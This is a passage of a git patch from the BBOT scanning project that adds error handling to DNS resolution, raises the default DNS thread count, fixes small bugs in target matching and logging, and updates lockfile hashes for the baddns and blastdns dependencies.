"sha256:36abed1754faeb80fbd6e64db2758091e1320f6bba74a4cf8c09cd18ccce8aca"}, + {file = "tornado-6.5.5-cp39-abi3-win32.whl", hash = "sha256:dd3eafaaeec1c7f2f8fdcd5f964e8907ad788fe8a5a32c4426fbbdda621223b7"}, + {file = "tornado-6.5.5-cp39-abi3-win_amd64.whl", hash = "sha256:6443a794ba961a9f619b1ae926a2e900ac20c34483eea67be4ed8f1e58d3ef7b"}, + {file = "tornado-6.5.5-cp39-abi3-win_arm64.whl", hash = "sha256:2c9a876e094109333f888539ddb2de4361743e5d21eece20688e3e351e4990a6"}, + {file = "tornado-6.5.5.tar.gz", hash = "sha256:192b8f3ea91bd7f1f50c06955416ed76c6b72f96779b962f07f911b91e8d30e9"}, ] [[package]] From 289d40ef02479f5636d6ab5cc8c09eed19067226 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 16 Apr 2026 15:29:53 -0400 Subject: [PATCH 528/912] fix some bugs --- bbot/core/helpers/dns/dns.py | 47 +++++++++++++++++++++++++++++++++--- bbot/defaults.yml | 2 +- bbot/modules/base.py | 2 +- bbot/scanner/target.py | 7 ++++-- uv.lock | 30 ++++++++++++++++++++--- 5 files changed, 76 insertions(+), 12 deletions(-) diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index 4ac2376517..c66741fd22 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -7,6 +7,7 @@ from radixtarget import RadixTarget from blastdns import Client, ClientConfig, DNSError, DNSResult, MockClient, get_system_resolvers +from blastdns.exceptions import BlastDNSError from bbot.core.helpers.async_helpers import NamedLock, async_cachedmethod from .helpers import all_rdtypes, extract_targets, record_to_text @@ -106,12 +107,27 @@ def __init__(self, parent_helper): # ------------------------------------------------------------------ async def resolve(self, query, rdtype="A"): - """Resolve to a set of rdata strings (e.g. IPs).""" - return set(await self.blastdns.resolve(query, rdtype)) + """Resolve to a set of rdata strings (e.g. IPs). + + Returns an empty set on DNS failure (timeout, SERVFAIL, etc). + """ + try: + return set(await self.blastdns.resolve(query, rdtype)) + except BlastDNSError as e: + self.log.debug(f"DNS error resolving {query}/{rdtype}: {e}") + return set() async def resolve_full(self, query, rdtype="A"): - """Return blastdns ``DNSResult`` (full response with Record objects).""" - return await self.blastdns.resolve_full(query, rdtype) + """Return blastdns ``DNSResult`` (full response with Record objects). + + Returns an empty-answer DNSResult on DNS failure so callers can + unconditionally iterate ``.response.answers`` without try/except. + """ + try: + return await self.blastdns.resolve_full(query, rdtype) + except BlastDNSError as e: + self.log.debug(f"DNS error resolving {query}/{rdtype}: {e}") + return self._empty_result(query) async def resolve_multi_full(self, query, rdtypes): """Resolve many rdtypes for one host concurrently in Rust. @@ -379,6 +395,29 @@ async def _mock_dns(self, mock_data): mock_client.mock_dns(mock_data) self.blastdns = mock_client + @staticmethod + def _empty_result(host=""): + """Build a minimal ``DNSResult`` with no answers, for use as a safe fallback.""" + from blastdns.models import Header, Response + + header = Header( + id=0, + message_type="Response", + op_code="Query", + authoritative=False, + truncation=False, + recursion_desired=True, + recursion_available=True, + authentic_data=False, + checking_disabled=False, + response_code="NoError", + query_count=0, + answer_count=0, + name_server_count=0, + additional_count=0, + ) + return DNSResult(host=host, response=Response(header=header, queries=[], answers=[], name_servers=[], additionals=[])) + async def shutdown(self): """No-op kept for API compatibility -- blastdns runs in-process, nothing to tear down.""" return None diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 61cf4fd56a..2a2200526f 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -42,7 +42,7 @@ dns: # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) - threads: 5 + threads: 10 # How many DNS records to cache cache_size: 100000 # How many concurrent DNS resolvers to use when brute-forcing diff --git a/bbot/modules/base.py b/bbot/modules/base.py index d7356bd809..f561fdcf19 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1876,7 +1876,7 @@ async def _worker(self): forward_event_reason = "" if acceptable: - context = f"{self.name}.handle_event({event, kwargs})" + context = f"{self.name}.handle_event({event})" self.scan.stats.event_consumed(event, self) self.debug(f"Intercepting {event}") try: diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index d029b6f567..452bbe973d 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -272,8 +272,11 @@ def get(self, host, **kwargs): # first, check event's host against blacklist try: event_seed = self._make_event_seed(host, raise_error=raise_error) - host = event_seed.host - to_match = event_seed.data + if event_seed is not None: + host = event_seed.host + to_match = event_seed.data + else: + to_match = str(host) except ValidationError: to_match = str(host) event_result = super().get(host) diff --git a/uv.lock b/uv.lock index bdc8833da1..0de67585ce 100644 --- a/uv.lock +++ b/uv.lock @@ -166,9 +166,10 @@ wheels = [ [[package]] name = "baddns" -version = "2.0.452" +version = "2.1.0" source = { registry = "https://pypi.org/simple" } dependencies = [ + { name = "blastdns" }, { name = "cloudcheck" }, { name = "colorama" }, { name = "dnspython" }, @@ -178,9 +179,9 @@ dependencies = [ { name = "pyyaml" }, { name = "tldextract" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/77/32/1d82b8781bd9285fabb4a03f342bfc8e27f219665af5dd184fc97bf9694a/baddns-2.0.452.tar.gz", hash = "sha256:193e3ff866986ddb626ec563991c3ea760985ca74f7ed59c0f3770c9f5543d9d", size = 61143, upload-time = "2026-03-20T18:39:14.505Z" } +sdist = { url = "https://files.pythonhosted.org/packages/96/6a/d02ca8e8fa19d92a6e616324c7dda942d01c09f2729bb736114c7268720e/baddns-2.1.0.tar.gz", hash = "sha256:30058b22dffcf16f7f195e7b298b099cb817c264324cec06c47a264ac2b29309", size = 60334, upload-time = "2026-04-16T14:16:44.114Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d6/cb/7ed49be7f8802adfcb57710548ed28239d899eaf5db7a49e57df8600385f/baddns-2.0.452-py3-none-any.whl", hash = "sha256:54e38e2b661de981f95454abea8b17a6bb3d1d5ff1e046738c319cfd7cfc018d", size = 117120, upload-time = "2026-03-20T18:39:13.376Z" }, + { url = "https://files.pythonhosted.org/packages/26/a7/36449f6d054de75a70db7ece0a66566990af95b74666ebd4121357c6f89f/baddns-2.1.0-py3-none-any.whl", hash = "sha256:1cf722f394e33eb26700c1ef717dcd01a451a241607cac3d62c95d355de5e514", size = 117925, upload-time = "2026-04-16T14:16:43.075Z" }, ] [[package]] @@ -299,7 +300,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ - { name = "baddns", specifier = "~=2.0.0" }, + { name = "baddns", specifier = "~=2.1.0" }, { name = "fastapi", specifier = ">=0.115.5,<0.129.0" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<9" }, @@ -350,6 +351,7 @@ dependencies = [ { name = "orjson" }, { name = "pydantic" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/a0/63/5ad427bd5e23780961ba4f183a85d8428d961feabcfaf237347801dd00a0/blastdns-1.9.1.tar.gz", hash = "sha256:e0ea09a9f0199a64aad8a6abe54e0f0de523a12e6f96da71e79af7fea9d12f2f", size = 114292, upload-time = "2026-04-15T20:33:18.661Z" } wheels = [ { url = "https://files.pythonhosted.org/packages/87/89/c606bd3d9e50771e168ad64745e4b9ef28fa511533d225735178eddab5c7/blastdns-1.9.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fc9a0c8808b90748dadc224e86a21fed75c1ccfa7df682906401790069262816", size = 2449222, upload-time = "2026-04-15T20:30:51.744Z" }, { url = "https://files.pythonhosted.org/packages/56/97/8e10f45144e7644c6f9e7a9f96eb7e433ef34bc5e6e84ae3e50581ae24d1/blastdns-1.9.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:077dfd2eb020ea7d120c18263a3f646bcd8dfe1e0d6d1c1f604d5034892d3404", size = 2321373, upload-time = "2026-04-15T20:31:06.388Z" }, @@ -360,6 +362,8 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/a5/9f/c592c221970f278822f2f8bcefc2422eebf6cced23268d3fda7daec24e01/blastdns-1.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99966441bfed1f5b45abf6c736be5d9bc141946ffe7582a1fbfd90386b16d4af", size = 2627363, upload-time = "2026-04-15T20:32:23.893Z" }, { url = "https://files.pythonhosted.org/packages/74/41/9a3b74481259f76ce863a6d883779766970007952ceedd469a2d903421f7/blastdns-1.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd587b057bebdf2797cafa69923425312a038a56b4f48e740db1ce9584d4169a", size = 2594515, upload-time = "2026-04-15T20:32:37.097Z" }, { url = "https://files.pythonhosted.org/packages/a7/41/23f2ab8eda0f31bf85b1f1aaa41dc2205c224f7032ba431434d78cfc0625/blastdns-1.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f45a4fb8dc5d84bc94b266230329ca4e14ae1e43a65f45e1ba52c1ab8509964b", size = 2671944, upload-time = "2026-04-15T20:32:50.331Z" }, + { url = "https://files.pythonhosted.org/packages/85/2a/4149667e1245c80cd501bad55bed7cdb42190c3d727eb742566e65f61041/blastdns-1.9.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:98b9ea17704491fd6d1e40a183222439403433ab2046f8e323ed10dcac5ab214", size = 2689118, upload-time = "2026-04-15T20:33:04.593Z" }, + { url = "https://files.pythonhosted.org/packages/8d/04/8af93946ac6a53f981356e13ddd2eda5c8b76ab355054731e8704c2f4a59/blastdns-1.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:8581a729dd9f32cca8edef0fd8c0529be81fe8ca7faef497f1712b5277c0b896", size = 2657117, upload-time = "2026-04-15T20:33:20.027Z" }, { url = "https://files.pythonhosted.org/packages/5b/d7/b4a757c662a45f82dc32fe916151caef24763f06ddf1d7ac571ff6f0ac51/blastdns-1.9.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67f52aa4880bed47da178065c8b2935cc41f526a340e0a1dae90f2eb641f99f8", size = 2655899, upload-time = "2026-04-15T20:32:17.262Z" }, { url = "https://files.pythonhosted.org/packages/98/16/5fbb3f57e2a2da7b1ea954c4a7576a0216b8b6f45714cedc0da92c933183/blastdns-1.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9dda8352acba5c9b7e498c61f73f28120e312e441a37d26d8912ddb8c8876b11", size = 2522537, upload-time = "2026-04-15T20:32:10.658Z" }, { url = "https://files.pythonhosted.org/packages/ab/7c/974f4a6f021fcf5a172dc9e6ab508527e5554576eb08f057f4d6345dca79/blastdns-1.9.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:b967cba75fd757b0e954cf4fb3d69c9fb39d95871316a9cf0bb0c2dc5e720077", size = 2450776, upload-time = "2026-04-15T20:30:53.403Z" }, @@ -371,6 +375,8 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/d5/30/d94d844101d7650982c6a686b41ba65fae84692f6a65147aea9756a4d09c/blastdns-1.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e31c987da6b52c1194ec057c932400b72f729922fa18737b68a868df5911d27", size = 2628570, upload-time = "2026-04-15T20:32:25.287Z" }, { url = "https://files.pythonhosted.org/packages/63/a0/c2d1d9d6bcf20836b66b06c970e2674e5d531c98f5f8a5d8b80a2c31e413/blastdns-1.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:da747e424bea405fc11ad7cb71ea36a082c100e40c0fc18855e209104f4e08d6", size = 2595745, upload-time = "2026-04-15T20:32:38.459Z" }, { url = "https://files.pythonhosted.org/packages/e9/f6/0c0e8a070cce991ba16227a3a1e8602f76a84db783cd2f3f170b2250a373/blastdns-1.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:801224d7006b61789378addae8751aeb7c7877c8ecf19b515f4a856230fc68bc", size = 2671215, upload-time = "2026-04-15T20:32:51.674Z" }, + { url = "https://files.pythonhosted.org/packages/ee/4a/b2cfbb5cbede71ba5c116bea8bd68222e9ab5bef49b4cd1312954978c99f/blastdns-1.9.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1ce70a659667f3adc7c0eac7d4b2c6f4c9f8429367254ec5308d04f36213f935", size = 2689185, upload-time = "2026-04-15T20:33:06.529Z" }, + { url = "https://files.pythonhosted.org/packages/b3/34/ca482b1f59520b6c5b3fa50b253bd009e6e636541cf238788e34b81e5352/blastdns-1.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ab93ca714cb913423e2780b2c3881a1303fa21948c5602795262c9bd51c702b", size = 2658811, upload-time = "2026-04-15T20:33:21.347Z" }, { url = "https://files.pythonhosted.org/packages/a9/f7/82d6bc99f2c3c65ee7d1c87627c9451ccb3c6dd1e21d1afb7caed4761c20/blastdns-1.9.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e46c938ce8eec89384c82b68fd62fa2f76935d4d68d1ba51f199008c1a8b056b", size = 2649921, upload-time = "2026-04-15T20:32:18.725Z" }, { url = "https://files.pythonhosted.org/packages/96/c4/6f1b04ee737feeac6b78459708b6b6b5e4215b8a443945bbb5078a1dba0b/blastdns-1.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b1eead79b192af541f4e89328aaed7e675254a56583d406dcc5cc527b1ed0662", size = 2510639, upload-time = "2026-04-15T20:32:12.531Z" }, { url = "https://files.pythonhosted.org/packages/b0/b4/80cc72f8e94a46743bc400d2336506388fcbffe0feeaeaec03410d451db6/blastdns-1.9.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:d0d6a6d4654032b2fc1a1df1bb145afb83989c23160da5b629c64e797a6f3027", size = 2449415, upload-time = "2026-04-15T20:30:55.661Z" }, @@ -381,6 +387,9 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/91/c8/6f689dc1491c13ebe1275943995c3376644e26c130fd0e30dae538477996/blastdns-1.9.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:775dbd6b7d1eccb3375a9f17f43723ddf79a1d12ae1d202d3f587101aff21db1", size = 2436641, upload-time = "2026-04-15T20:32:02.719Z" }, { url = "https://files.pythonhosted.org/packages/d1/52/5376331c9278f5334b76dd48210e1fb10a83f4920516c7060ccde56ec6da/blastdns-1.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:40bff362bd9be708197d5c548ad7f006688d763cada1faee44ae1e7d2acb06ef", size = 2625799, upload-time = "2026-04-15T20:32:26.823Z" }, { url = "https://files.pythonhosted.org/packages/e4/d1/622c75809c143d51037daa8af9f3477e6e4606a12d58f5189b4da81e6511/blastdns-1.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:408c30d61126c1cc0ecacb1011ed6ef2f34840e937e2def22f3ed943ad6ba8f4", size = 2593888, upload-time = "2026-04-15T20:32:39.932Z" }, + { url = "https://files.pythonhosted.org/packages/11/a0/0a8dc041ccb68720dbe44ce36c10404d904b0572c0589987c5618c1c109d/blastdns-1.9.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9af85ef741d4f230ea55f12d4876b1123562f51ce9b9f7d58b6f52d3d84395c1", size = 2670025, upload-time = "2026-04-15T20:32:53.153Z" }, + { url = "https://files.pythonhosted.org/packages/72/33/b5d69a9a719b3ec354fd938769f95697e17e4c1011b97aa5f424d2a7be77/blastdns-1.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3339b69fc959292a66ea724b0d5e9563c4ca0be7dd48fc78adb8914a3c82ab57", size = 2685562, upload-time = "2026-04-15T20:33:08.351Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d5/36c430234203e7f4c2719b321ee316c4ac82db2541761ecff6035445fbec/blastdns-1.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:074b0ffe33ed57d6bef65d0120fa508d855f49910a1ed51ee6c3920e6ffc73bf", size = 2657744, upload-time = "2026-04-15T20:33:22.771Z" }, { url = "https://files.pythonhosted.org/packages/09/a2/ed3363e3cbc5d10fc2301fc0651bb316f203a287a331eb65ce0f0c0726d1/blastdns-1.9.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3fe8fecc19fdb3ee6bcfcd4242c9e2433254c8c40d1b57fa40d6190eadd73da7", size = 2649286, upload-time = "2026-04-15T20:32:20.42Z" }, { url = "https://files.pythonhosted.org/packages/db/15/1e37003ef21f8777b51f1abc85edae818358743a74b0a836a8a409383f91/blastdns-1.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b84013fc47cebeac3093f4feaeed3a4d5f45d82eebdffb73bde610e8e30f3399", size = 2510656, upload-time = "2026-04-15T20:32:14.308Z" }, { url = "https://files.pythonhosted.org/packages/03/4e/b7f055bbe93b4201738c284482cd94d76b8f148381daa6774ddf509533f5/blastdns-1.9.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:7e2f7b28bff77a5c5627f1f85069309e3c4039d4d277756e84d2d5c229716c16", size = 2447985, upload-time = "2026-04-15T20:30:57.312Z" }, @@ -391,12 +400,17 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/8c/95/cc06697ddb03d03fb6a171b337c9c649cd5bc3493b4e8c83e185eeef1dad/blastdns-1.9.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1f3400075b16905fd6837902511fed9c4b98b13de3cad8e3a78cf6d0e78f8124", size = 2435831, upload-time = "2026-04-15T20:32:04.657Z" }, { url = "https://files.pythonhosted.org/packages/9c/26/6a702d559328213e0e3e7bb3a7c8788031c42b0613ae363cfd5ee33d130d/blastdns-1.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a32a1e51d34b9e926a9c218c166a254d57c120a2f7b963f04fe81fd3d45f35ed", size = 2625279, upload-time = "2026-04-15T20:32:28.256Z" }, { url = "https://files.pythonhosted.org/packages/25/e4/fc227358013e8bce5896d4405ecc882520d4480da1c30efb6c0950e526ac/blastdns-1.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:fbd5f5cd402b3075254e03b608c48e25825ea806421437e74c5fc833716a86a6", size = 2593895, upload-time = "2026-04-15T20:32:41.373Z" }, + { url = "https://files.pythonhosted.org/packages/62/8d/45e3c76947052ce2c60d58944f40178ded356b4440f83007a159ab095bef/blastdns-1.9.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c398d2c3780e50e1a12515e0ada2eb7c510e6d699ad60d6c6382352ba4a5db5", size = 2670367, upload-time = "2026-04-15T20:32:54.542Z" }, + { url = "https://files.pythonhosted.org/packages/77/ac/482fd604a13e05ab3e0efa84336fa39c5c391addf8308b16ee9109f67fd0/blastdns-1.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:11057e252c5545f1f89a4f5413a396366686799dd48b11e7c6dcad44d05df47e", size = 2684704, upload-time = "2026-04-15T20:33:09.845Z" }, + { url = "https://files.pythonhosted.org/packages/fc/67/2998dd8a5239a7afc223f4ec270048d47af5e10bb996d045c3e6e5580433/blastdns-1.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:a0dc5dd486fec357fbcde1ff2f4dd3bcc4baa02323d46cc749c9a8f0fa810435", size = 2657425, upload-time = "2026-04-15T20:33:24.357Z" }, { url = "https://files.pythonhosted.org/packages/47/49/2b51f2ba622a1723b75411fd2384d26a4d55576e0f642019fcba1ea5498a/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:5bf0c8445d9d4cc0ce7668ddb2358e5c90ce711eb2001d5fd742fc30bdf6b9ff", size = 2443445, upload-time = "2026-04-15T20:30:59.07Z" }, { url = "https://files.pythonhosted.org/packages/f7/60/490cd9f4b40cc9ee0de49252f278798e0d020f002f2c3bd93669096050f5/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_armv7l.whl", hash = "sha256:0d3f1498eb37543ecbf92719aae8eda22c4cabbf14e1a1ba6c6a3e5a9157b2df", size = 2319663, upload-time = "2026-04-15T20:31:12.808Z" }, { url = "https://files.pythonhosted.org/packages/d1/6c/b801b2706677a62cdac1c3dd46d618f3b1b18bd26b21a2df3531ab559ff4/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_ppc64le.whl", hash = "sha256:1be2eb559002355311fd9f584a3ed4dc4b9b5fa4255864f39779203ad3d71228", size = 3521129, upload-time = "2026-04-15T20:31:27.637Z" }, { url = "https://files.pythonhosted.org/packages/71/83/81f22f8b06fe06e7cc1021d6d84a1f570300c7d3f7f1e8da94617d68aba6/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_s390x.whl", hash = "sha256:8b207ea568b9dfc62e0fc5a848afa15448311ec3f2dbcc519327399f6604f087", size = 2512375, upload-time = "2026-04-15T20:31:41.616Z" }, { url = "https://files.pythonhosted.org/packages/59/6c/ff24de4e418c1b683db47975af30ea600deb96c6e8ea2163470b57d8ad85/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4f4f11a2fa4b9aa7d735252e4cfa515e51330d019065ed575a71ceb645a7fc13", size = 2621796, upload-time = "2026-04-15T20:32:29.51Z" }, { url = "https://files.pythonhosted.org/packages/52/53/60620d5ecab72926afcb197476c765f10d690b574786c1be8d3b8f5465a0/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:072b0f20ed5a23ce9a69d93fc0f4f840ca03e92a02290640c32c08e51e85e09a", size = 2591749, upload-time = "2026-04-15T20:32:43.158Z" }, + { url = "https://files.pythonhosted.org/packages/6e/2a/d0fe319e0aa0a79346b0107a339724489feaedd266fd209374f4731f6abe/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8985b6a5d88c57d9d3b566551b37a09349c0a30234167148c3d80423abbe9c8c", size = 2668454, upload-time = "2026-04-15T20:32:55.824Z" }, + { url = "https://files.pythonhosted.org/packages/f7/19/541a831d645ecede4f91fa6441e2eef23fbc3e0c7c51830f2f0a40bee609/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:306e7ba2b9a0a3a9a38086ee8d187a33aae5979b588ad80bfb5ecd01633c298b", size = 2687970, upload-time = "2026-04-15T20:33:11.578Z" }, { url = "https://files.pythonhosted.org/packages/85/c8/d784d1df9d930183b991822954dc31aeae2b3947147ce9d53d12eb7a3822/blastdns-1.9.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:337771fc54faafbdda2206426c362839961253a4959135767e9014ff4db879ca", size = 2650821, upload-time = "2026-04-15T20:32:21.943Z" }, { url = "https://files.pythonhosted.org/packages/b8/98/0b3d1d6b5ff0cf1c404a9b8c7948102d724e767cf22ddedf9a3bd239a1ec/blastdns-1.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6015697b4fe9dc4ff2bc397367ae726c6e6cd87bdb86e1d6b5c6856d0914beb7", size = 2517319, upload-time = "2026-04-15T20:32:15.85Z" }, { url = "https://files.pythonhosted.org/packages/b8/8b/ecc1e80fe8aa9ac5677c62d9c6d7bb6c2c68025d99f2ff81dc6be5eb907f/blastdns-1.9.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:01b2f1da7fe1fb44fd1af52c337979bb7284b727f971d83aa761a4887a22adb2", size = 2446094, upload-time = "2026-04-15T20:31:00.43Z" }, @@ -407,12 +421,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/26/f6/5c1d954dfc4d6f420dea661dc7eb228f2fd6d31954e3d492888be426f97c/blastdns-1.9.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:743b1501d9a625f6d0dd8ed668fd96241646bd6f70399992af43f8fef5fc42d9", size = 2439876, upload-time = "2026-04-15T20:32:06.166Z" }, { url = "https://files.pythonhosted.org/packages/1f/71/c5a3837136449a1f5f3f14fb251fb318d48d5611755fc972fc2868473fbb/blastdns-1.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c4b0b8ca367405807b14d63f57805ca2af21c651afd07feae5db32fbaaa63f7", size = 2624052, upload-time = "2026-04-15T20:32:30.895Z" }, { url = "https://files.pythonhosted.org/packages/59/e5/9ee26448806cc548d147a32811b406646c1530bdf66f9ef42bd232b95dfe/blastdns-1.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:8f4141a04a887e45f77e92fe5ae290c017275985b96455c2aa05084220b12423", size = 2594969, upload-time = "2026-04-15T20:32:44.441Z" }, + { url = "https://files.pythonhosted.org/packages/48/81/e9c759fc353a17b3256994f23b08d5c4f147bd0eab2e8522434548abd50c/blastdns-1.9.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c0247ea74dcb9cb22fc319ab15518a6b2cd8e147b560e6908acaa97f4eb9912b", size = 2671068, upload-time = "2026-04-15T20:32:57.332Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/5dd9a17edbee1bfb996d289e5b1bbd2e1446644c02da8fe71925c4a6c828/blastdns-1.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9131f9c496a6e67b46b5184fc49dc691340c1267982808460d3fdc9fbf00fc0d", size = 2689854, upload-time = "2026-04-15T20:33:12.962Z" }, + { url = "https://files.pythonhosted.org/packages/2a/82/62f420b248e485b222a7ad714d94d814e9d8ad90f4112fbbdf4d31d5f557/blastdns-1.9.1-cp314-cp314-win32.whl", hash = "sha256:f13198d57ac8606a542f273ffbeec0cf4d1b97ec5c367d217fdb7b25715888a6", size = 2206019, upload-time = "2026-04-15T20:33:27.428Z" }, + { url = "https://files.pythonhosted.org/packages/41/0b/6db2d905fce282e099b43a93f4ed7bdf586d55f9c79a6e8cf446364981d3/blastdns-1.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:b1301428a30b6ad1137f47470f882da604329d6a566708045106e06c3cc5b13b", size = 2656519, upload-time = "2026-04-15T20:33:26.101Z" }, { url = "https://files.pythonhosted.org/packages/53/ea/b5ac534f37548ae80edfb915c7a1cbd764fb92ab62cc87d360b8f951d11e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e5d4e64d0cdfef7e31d1e4c9124cc901d801fd1925c0add743dd4b5dac5ab48d", size = 2445855, upload-time = "2026-04-15T20:31:02.055Z" }, { url = "https://files.pythonhosted.org/packages/53/15/43ce6b8ef5ba5e5d1ffb9ad4dbf9148ea2356e556cb1d3925ffc35fcd4d9/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9078d39a13c467185dbe205b3121ef6667b452612e64a9a83670d38a4ff8f280", size = 2320251, upload-time = "2026-04-15T20:31:16.119Z" }, { url = "https://files.pythonhosted.org/packages/a9/e8/52dc13fd874bc0cc02b850ae87781bd53b1bdb6f6efa2b6b769a4bd16106/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:712ff165713d9624a0811d94e2a555af15339f11df7fae9535aebd0de3577730", size = 3523183, upload-time = "2026-04-15T20:31:31.017Z" }, { url = "https://files.pythonhosted.org/packages/fc/be/f129125b775e40c17624fb97550393528fa69dbb945f56fa01ba4cde797e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:c31fb423922e491d87435d497a3ad571fdd1200b9d9a51322fbee2aff0275d15", size = 2512967, upload-time = "2026-04-15T20:31:44.564Z" }, { url = "https://files.pythonhosted.org/packages/5b/fd/38b3d4986f984eb9f61987f312fb851c3c7943678f7685ff1803ac061eb8/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:269e2f84e83c5a4c48e05c8222670289935ef9504184f6742e8049ded205d67f", size = 2622821, upload-time = "2026-04-15T20:32:32.222Z" }, { url = "https://files.pythonhosted.org/packages/a3/84/0f0a9d767389b43edeae21f2665c5c745e2e4a056c697515962a7b4fe463/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b2c751284fe68dcf70e3f9de11c6c7cbe228473c152563ad0a781fc4a95ed484", size = 2593955, upload-time = "2026-04-15T20:32:45.822Z" }, + { url = "https://files.pythonhosted.org/packages/8d/53/04ece144df58ae2af74607fa63f38d3345f56ab32e3fce31e99d2b358019/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c3925dfff6f2fb7dcaa514ee3730a55d0824dce0023038cabf69f9e341d5a632", size = 2670065, upload-time = "2026-04-15T20:32:59.942Z" }, + { url = "https://files.pythonhosted.org/packages/bd/92/6ae1976ec0a8d1b4b7946c3203cda4637bb5a261126eb8f46004d2af0297/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e163cd43d5206e224e8e5ef5b18af634e97d5e90f535f0906af783e13b7fcec5", size = 2688595, upload-time = "2026-04-15T20:33:14.533Z" }, { url = "https://files.pythonhosted.org/packages/88/f0/c44a8092fae154af9fc74d21ae3639a1544500c0a0516dc31a8a086d3ad4/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:03f5dd6a4dfa45d5972a3be01f704264b43bb6d02b86b7eba132070c9f18f286", size = 2452601, upload-time = "2026-04-15T20:31:04.974Z" }, { url = "https://files.pythonhosted.org/packages/08/3c/d3136a70d9b8dc3349a3a11753b5cd459168fe244ae983d0d5ba81e2d6be/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:1e2621a878baa1be84b910fb2b7d492184f484988f5d572746b2e555c89926d7", size = 2322996, upload-time = 